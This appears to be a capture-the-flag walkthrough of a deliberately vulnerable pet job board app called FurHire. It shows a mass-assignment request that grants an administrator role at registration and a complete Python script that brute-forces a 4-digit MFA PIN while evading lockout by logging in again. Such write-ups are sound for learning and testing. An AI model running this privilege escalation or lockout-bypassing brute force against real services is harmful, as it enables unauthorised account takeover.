FurHire-004
by Shawn Szczepkowski
FurHire is a pet industry job board where user’s can look for jobs and recruiters can post jobs.
The Application
Registration is straightforward — you supply a username, email, full name, and password and receive a JWT:
POST /api/register
Content-Type: application/json
{
"username": "testuser",
"email": "testuser@test.com",
"full_name": "Test User",
"password": "test123"
}
{
"token": "<jwt>",
"user": {
"id": 6,
"username": "testuser",
"role": "user"
}
}
The JWT payload:
{
"id": 6,
"username": "testuser",
"role": "user",
"iat": 1234567890
}
The role field in the JWT is set at registration. That’s worth testing.
Finding 1: Mass Assignment
Adding "role": "administrator" to the registration body:
POST /api/register
Content-Type: application/json
{
"role": "administrator",
"username": "attacker",
"email": "attacker@test.com",
"full_name": "Attacker",
"password": "test123"
}
{
"token": "<jwt>",
"user": {
"id": 10,
"username": "attacker",
"role": "administrator"
}
}
The server accepted the field without any validation and issued an admin JWT. Navigating to /admin with this token redirects to /mfa-verify — a 4-digit PIN gate stands between us and the admin panel.
Finding 2: MFA Brute Force
The MFA verify endpoint:
POST /api/mfa/verify
Authorization: Bearer <admin_jwt>
{"pin": "1234"}
After some testing, the behavior becomes clear:
- Wrong PIN returns
400 {"error": "Invalid PIN"} - Lockout kicks in after ~15 failed attempts
- Re-logging in resets the lockout counter
- Potentially we can get around the lockout by creating a script that will attempt the pin ~12 times, log out, log back in, and repeat
That last point is the key and may take some trial and error or running the script multiple times.
import requests
import time
import urllib3
urllib3.disable_warnings()
HOST = "https://TARGET_HOST/"
USERNAME = "YOUR_ADMIN_USERNAME"
PASSWORD = "YOUR_PASSWORD"
ATTEMPTS_PER_SESSION = 12
def login():
s = requests.Session()
r = s.post(f"{HOST}/api/login", json={"username": USERNAME, "password": PASSWORD}, verify=False)
token = r.json().get("token")
print(f"[+] Logged in | token: ...{token[-20:]}")
return s, token
def try_pin(session, token, pin):
r = session.post(
f"{HOST}/api/mfa/verify",
json={"pin": pin},
headers={"Authorization": f"Bearer {token}"},
verify=False,
timeout=10
)
return r.status_code, r.json()
all_pins = [f"{i:04d}" for i in range(10000)]
tried = 0
sessions = 0
for i in range(0, len(all_pins), ATTEMPTS_PER_SESSION):
try:
s, token = login()
except Exception as e:
print(f"[-] Login failed: {e}, retrying...")
time.sleep(2)
continue
sessions += 1
batch = all_pins[i:i + ATTEMPTS_PER_SESSION]
for pin in batch:
try:
status, resp = try_pin(s, token, pin)
print(f"[{tried:04d}] PIN {pin} -> {status} {resp}")
tried += 1
if status == 200:
print(f"\n[!!!] VALID PIN: {pin}")
print(f"[!!!] Token: {token}")
exit()
except Exception as e:
print(f"[!] Error on PIN {pin}: {e}, skipping")
tried += 1
continue
print(f"[~] Session {sessions} done | {tried}/10000 tried")
s.close()
time.sleep(0.5)
print("[-] All PINs exhausted")
Let it run:
[+] Logged in | token: ...XXXXXXXXXXXXXXXXXX
[0000] PIN 0000 -> 400 {'error': 'Invalid PIN'}
[0001] PIN 0001 -> 400 {'error': 'Invalid PIN'}
...
[4288] PIN 4288 -> 200 {'success': True, 'message': 'MFA verification successful'}
[!!!] VALID PIN: 4288
[!!!] Token: <redacted>
When the correct PIN is found we should be able to access the admin panel.
tags: